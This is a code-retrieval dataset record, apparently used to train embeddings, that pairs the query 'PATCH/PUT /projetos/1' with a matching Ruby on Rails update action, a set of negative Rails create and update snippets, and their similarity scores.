"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @puesto = Puesto.new(puesto_params)\n\n respond_to do |format|\n if @puesto.save\n format.html { redirect_to @puesto, notice: 'Puesto Creado.' }\n format.json { render :show, status: :created, location: @puesto }\n else\n format.html { render :new }\n format.json { render json: @puesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @profile_project = Profile::Project.new(profile_project_params)\r\n @profile_project.user_id = current_user.id\r\n respond_to do |format|\r\n if @profile_project.save\r\n format.html { redirect_to @profile_project, notice: 'Projeto criado com sucesso.' }\r\n format.json { render :show, status: :created, location: @profile_project }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @profile_project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @puntaje = Puntaje.new(params[:puntaje])\n\n respond_to do |format|\n if @puntaje.save\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully created.' }\n format.json { render json: @puntaje, status: :created, location: @puntaje }\n else\n atributos\n format.html { render action: \"new\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user = current_user\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html {redirect_to \"/projects\", notice: \"Project was successfully created.\"}\n format.json {render :show, status: :created, location: @project}\n else\n format.html {render :new, status: :unprocessable_entity}\n format.json {render json: @project.errors, status: :unprocessable_entity}\n end\n end\n end"
] |
[
"0.74662536",
"0.7367792",
"0.72404784",
"0.7181806",
"0.7120532",
"0.7057297",
"0.70012474",
"0.6977039",
"0.6956628",
"0.69551855",
"0.6951154",
"0.689565",
"0.6763483",
"0.6743231",
"0.67369705",
"0.6734531",
"0.6734531",
"0.6734531",
"0.6734531",
"0.6720741",
"0.6655952",
"0.6620937",
"0.6601995",
"0.6594284",
"0.65814",
"0.65789956",
"0.6564019",
"0.6503844",
"0.6489557",
"0.648435",
"0.64816165",
"0.6464473",
"0.6458966",
"0.6437142",
"0.6423935",
"0.64220214",
"0.6404032",
"0.6382996",
"0.63795066",
"0.6379201",
"0.6372136",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.636375",
"0.63438356",
"0.63374037",
"0.633264",
"0.6320914",
"0.6319922",
"0.631923",
"0.6315247",
"0.6303316",
"0.6302673",
"0.6300198",
"0.62970614",
"0.6296294",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.62955576",
"0.6294254",
"0.6293737",
"0.6287799",
"0.62788224",
"0.6272413",
"0.62677777",
"0.6266025",
"0.62623394",
"0.62538815",
"0.62513363",
"0.6247396",
"0.6235347",
"0.62305033",
"0.6230265",
"0.622852",
"0.6220977",
"0.6215481",
"0.61992073",
"0.61979854",
"0.6195942",
"0.61943036",
"0.6191596",
"0.61852235"
] |
0.7000703
|
7
|
PATCH/PUT /projetos/1 PATCH/PUT /projetos/1.json
|
def update
respond_to do |format|
if @projeto.update(projeto_params)
flash[:success] = @@msgs
format.html { redirect_to @projeto, notice: @@msgs }
format.json { render :show, status: :ok, location: @projeto }
else
flash[:danger] = @@msge
format.html { render :edit }
format.json { render json: @projeto.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @projeto = Projeto.find(params[:id])\n\n respond_to do |format|\n if @projeto.update_attributes(params[:projeto])\n format.html { redirect_to @projeto, notice: 'Projeto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projeto.update(projeto_params)\n format.html { redirect_to @projeto, notice: 'Projeto alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projeto.update(projeto_params)\n format.html { redirect_to @projeto, notice: 'Projeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @projeto }\n else\n format.html { render :edit }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projet.update(projet_params)\n format.html { redirect_to @projet, notice: 'Projet was successfully updated.' }\n format.json { render :show, status: :ok, location: @projet }\n else\n format.html { render :edit }\n format.json { render json: @projet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @projeto = Projeto.find(params[:id])\n\n respond_to do |format|\n if @projeto.update_attributes(params[:projeto])\n format.html { redirect_to(@projeto, :notice => 'Projeto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @projeto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario_projeto.update(usuario_projeto_params)\n format.html { redirect_to @usuario_projeto, notice: 'Usuario projeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario_projeto }\n else\n format.html { render :edit }\n format.json { render json: @usuario_projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_projeto.update(tipo_de_projeto_params)\n format.html { redirect_to @tipo_de_projeto, notice: 'Tipo de projeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_projeto }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projeto_arquitetonico.update(projeto_arquitetonico_params)\n format.html { redirect_to @projeto_arquitetonico, notice: 'Projeto arquitetonico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @projeto_arquitetonico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @projects_objetive.update(projects_objetive_params)\n format.html { redirect_to @projects_objetive, notice: 'Projects objetive was successfully updated.' }\n format.json { render :show, status: :ok, location: @projects_objetive }\n else\n format.html { render :edit }\n format.json { render json: @projects_objetive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Projeto atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n @cliente = @project.cliente_id\n respond_to do |format|\n if @project.update(project_params)\n format.html { render :edit }\n format.json { render :index, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Proyecto actualizado sastifactoriamente' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render json: @project.as_json(:include => [:client, :project_participants ] ) }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projekt.update(projekt_params)\n format.html { redirect_to @projekt, notice: 'Projekt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @projekt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_update_params)\n format.html { redirect_to @project, notice: 'Projeto atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n @project.attributes = params[:project]\n @project.updated_by = current_user.id\n respond_to do |format|\n if @project.save\n format.html { redirect_to client_projects_path(client_id: @project.client_id), notice: \"成功修改#{Project.model_name.human}\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, :notice => 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'تغییر اطلاعات انجام شد.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n \t\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'project was successfully updated.' }\n format.json { render :json => {:valid => true, :designation => @project, :notice => \"project was successfully updated.\"} }\n else\n format.html { render action: \"edit\" }\n format.json {render :json => {:valid => false, :errors => @project.errors}}\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @edit_project = Project.find(params[:id])\n\n respond_to do |format|\n if @edit_project.update_attributes(params[:project])\n format.html { redirect_to @edit_project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @edit_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: \"Proyecto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = current_user.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if project.update(project_params)\n format.html { redirect_to project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @persona_proyecto.update(persona_proyecto_params)\n format.html { redirect_to @persona_proyecto, notice: 'Persona proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @persona_proyecto }\n else\n format.html { render :edit }\n format.json { render json: @persona_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_todo = @project.project_todos.find(params[:id])\n respond_to do |format|\n if @project_todo.update_attributes(params[:project_todo])\n format.html { redirect_to [@project, @project_todo], notice: 'Project todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @project.update(project_params)\r\n format.html { redirect_to @project }\r\n format.json { respond_with_bip(@project) }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { respond_with_bip(@project) }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @todo_project.update(todo_project_params)\n format.html { redirect_to @todo_project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_project }\n else\n format.html { render :edit }\n format.json { render json: @todo_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_project\n\t\t@project = Project.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @project.update_attributes(project_update_params)\n\t\t format.html { redirect_to(@project, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@project) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@project) }\n\t\t end\n\n \t end\n\tend",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to add_path(@project), notice: 'Project was successfully updated.' }\n format.json { render :add, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_project.update(api_project_params)\n format.html { redirect_to @api_project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_project }\n else\n format.html { render :edit }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n @main_projects = Project.roots.where(creator_id: @project.creator_id)\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n if @personaje.update_attributes(params[:personaje])\n format.html { redirect_to @personaje, notice: 'Personaje was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n if @competicao.update_attributes(params[:competicao])\n format.html { redirect_to @competicao, notice: 'Competicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n\n @project = Project.find(params[:id])\n @project.updated_by = current_user#.id\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = \"Project was successfully updated.\"\n if params[:pras]\n format.html { redirect_to edit_application_path(@project.applications.first, :pras=>true) } \n else \n format.html { redirect_to project_path(@project)} \n end\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n format.js\n end\n end\n\n \n end",
"def update\n if @project.update(project_params)\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end",
"def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\t\t\t\t\t\t\t\t\t# Actually modifies the data and redirects (probably to index or show? depends)\n\t\t#@project = Project.find(params[:id])\t# Taken out because of the before action GENIUS!\n\n\t\trespond_to do |format|\n \t\t if @project.update(projects_params)\n \t\tformat.html { redirect_to @project, notice: 'Project was successfully updated.' }\n \t\tformat.json { render :show, status: :ok, location: @project }\n \t\telse\n \t\tformat.html { render :edit }\n \t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.json { render :show, status: :ok, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @project\n\n if @project.update(project_params)\n head :no_content\n else\n render 'projects/error', status: 422\n end\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if (current_user == @project.user && (@project.status == 0 || @project.pending?)) || current_user.role == 1\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, :flash => { success: 'Projet correctement mis à jour' } }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, notice: 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @projecct = Projecct.find(params[:id])\n\n respond_to do |format|\n if @projecct.update_attributes(params[:projecct])\n format.html { redirect_to @projecct, notice: 'Projecct was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @projecct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to current_user, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n flash[:success] = \"Proyecto actualizado\"\n\n # @modificacion = Modificacion.new(:proyecto_id => @proyecto.id, usuario_id => params[:id] )\n\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n flash[:danger] = \"Error al actualizar el proyecto\"\n end\n end\n end",
"def update\n @project = Project.find_by_slug(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
